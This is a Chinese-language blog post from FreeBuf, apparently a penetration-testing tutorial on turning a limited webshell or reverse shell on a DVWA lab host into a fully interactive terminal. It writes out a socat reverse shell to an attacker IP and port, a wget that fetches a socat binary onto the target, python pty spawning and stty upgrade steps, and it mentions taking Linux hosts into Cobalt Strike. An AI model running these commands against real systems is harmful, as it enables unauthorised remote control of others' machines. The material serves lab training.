freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

获取完美shell
小惜 2022-05-31 16:06:21 196611
所属地 辽宁省

获取完美shell

我们正常在使用webshell或反弹的shell的时候,多多少少会遇到如下问题:

  1. 一些命令受限

  2. 非交互式

  3. ctrl+c会直接断开连接

  4. 无命令补全

  5. 会出现乱码情况

这些问题导致我们执行命令的时候很不方便,而且会导致一些如提权类的操作失败,所以我们需要一个完美的终端(TTY)

下面我将边演示边来介绍几种提升shell的方法,我这里面用的Linux虚拟机搭的DVWA靶场上传文件(吐槽一下,在windows上用小皮面板搭建一点问题没有,在Linux上可能因为权限的问题,文件上传那块正常的图片就死活传不上去,后来自己一顿调,本来都想放弃了,结果瞎调调好了)

1.1 反弹shell

首先我这里用哥斯拉打开命令界面

image-20220526195813130

这时候可以通过方向上键回历史记录,但是一些需要交互的命令,如su或者vim都会执行失败,那么我们首先想到的肯定是反弹shell(反弹shell的命令大全,我公众号之前发过篇文章)

image-20220526200116465

​如下图,通过bash tcp的方式弹了一个很正经的shell

image-20220526200815665

但是这时候,上键历史命令用不了了,不过一些交互有了点效果,如su和vim,但是我进到vim按ctrl+c会直接断开连接

image-20220526201218045

但有的时候,我们可能因为权限等问题不能用su,而su对我们来讲又是非常重要的,所以接下来我们可以对其进行一个升级

1.2 python pty 方式

这种方式有个前提是对方机器上必须有python,我这里通过rpm查询对方主机是否存在python

image-20220526202304234

既然存在那就在最基础的反弹shell后,执行下边的命令

#pty是python中的一个虚拟终端库
#spawn函数:创建一个进程并将其控制终端与当前进程的标准io连接
python -c 'import pty; pty.spawn("/bin/bash")'

然后通常情况下如果原本不能执行su的话,现在就可以执行了,不过这种方式几乎还是没啥提升,所以我们继续

1.3 socat

socat像netcat一样,我们可以用socat建立完整的TTY,但弊端就是需要在对方的主机上建立socat,说人话就是你得在对方机器安装或下载点东西,当然攻击机也需要安装

  • kali

#安装(因为我用的kali,所以就不用安了,它自带的)
sudo apt install socat
#监听端口
socat file:`tty`,raw,echo=0 tcp-listen:4444
  • 目标主机

#从github上下载脚本(省的安装了)到/tmp目录下
#当然可能碰到无法访问github的情况,那就本机下载然后传上去
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat

#给权限
chmod 755 /tmp/socat

#反弹
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.113:4444

可以看到连vim都可执行了,而且按ctrl+c不会直接断开了,但实际上还是不算非常完美,偶尔也会出现卡死的情况

image-20220527122019727

要注意这里断开连接,就不能采用ctrl+c了,而是需要exit

image-20220527122216362

1.4 花式操作—升级netcat

  • 攻击机

# 检查当前终端和STTY信息
echo $TERM
stty -a

结果如下

image-20220527140414326

  • 接收shell

#在接收到shell并启动下方的python交互式命令后
python -c 'import pty; pty.spawn("/bin/bash")'

#挂到后台
ctrl + z

#查看下后台是否存在
jobs -l

成功挂到后台

image-20220527125548804

然后重置stty

stty raw -echo

重置后长这样

image-20220527134700013

然后输入fg,将后台的任务还原,然后reset刷新终端屏幕,如图我这里出了点问题,当我输入回车的时候变成了^M又是一些奇怪的编码问题

#将后台挂起的任务还原到前台
fg

执行出错

于是我弹shell到阿里云上,然后重复上面的步骤,当我执行到重置stty的时候,它会像卡了一样,但其实不是它卡了,而是我们重置的原因我们看不到输入的内容,但是实际上还是在输入(这就像你输入密码的时候一样),输入fg回车

image-20220527143449184

紧接着执行刷新一下屏幕,看着更和谐

reset

它会询问你终端类型,根据第一步的信息来输入

image-20220527143620481

回车之后

image-20220527143631433

然后其实到这里几乎就可以了,但是还存在一个问题,就是显示问题了

接下来设置环境变量

export SHELL=bash
#根据最开始查出来的环境变量来设置
export TERM=xterm
stty rows 行数 columns 列数

ok,一个完美的shell就来了

1.5 上线到CS

正常CS是不能上线Linux主机的,但是通过CrossC2插件可以(这货坑太多了,浪费我好久时间),这里具体操作我就不多说了,看我公众号的另一篇文章

# 内网渗透 # 内网安全
本文为 小惜 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
小惜 LV.5
微信公众号:小惜渗透,欢迎大佬一起交流进步
  • 26 文章数
  • 39 关注者
【从0到1学免杀】--1. 加解密过静态
2024-06-07
【安卓】拿注册码的两种方式
2023-08-29
【红队攻防】个人总结、工具、大量干货
2023-07-24
文章目录